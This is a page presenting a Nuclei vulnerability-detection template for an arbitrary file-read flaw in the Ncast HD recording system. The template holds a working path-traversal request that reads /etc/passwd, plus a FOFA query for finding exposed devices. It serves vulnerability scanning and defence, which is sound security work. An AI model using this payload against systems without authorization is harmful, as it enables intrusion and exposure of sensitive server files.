Skip to content

Ncast HD Intelligent Recording - Arbitrary File Reading

ID: ncast-lfi

Severity: high

Author: pussycat0x

Tags: ncast,lfi

Ncast HD intelligent recording and broadcasting system has an arbitrary file reading vulnerability.

id: ncast-lfi
info:
name: Ncast HD Intelligent Recording - Arbitrary File Reading
author: pussycat0x
severity: high
description: |
Ncast HD intelligent recording and broadcasting system has an arbitrary file reading vulnerability.
reference:
- https://github.com/wy876/POC/blob/main/Ncast%E9%AB%98%E6%B8%85%E6%99%BA%E8%83%BD%E5%BD%95%E6%92%AD%E7%B3%BB%E7%BB%9F%E5%AD%98%E5%9C%A8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md
classification:
cpe: cpe:2.3:a:ncast_project:ncast:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: ncast_project
product: ncast
fofa-query: app="Ncast-产品" && title=="高清智能录播系统"
tags: ncast,lfi
http:
- method: GET
path:
- "{{BaseURL}}/developLog/downloadLog.php?name=../../../../etc/passwd"
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: word
part: content_type
words:
- "application/force-download"
- type: status
status:
- 200
# digest: 490a00463044022061d8db30bcdd9fec8ce9e1cdae39b45add02fb193fe3f3805ad1b2cc79e5ff4102201d1d11cf5fd0c1274b838f43d1443a69c14ae864a897c7b300cb2164566e5686:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/other/ncast-lfi.yaml"

View on Github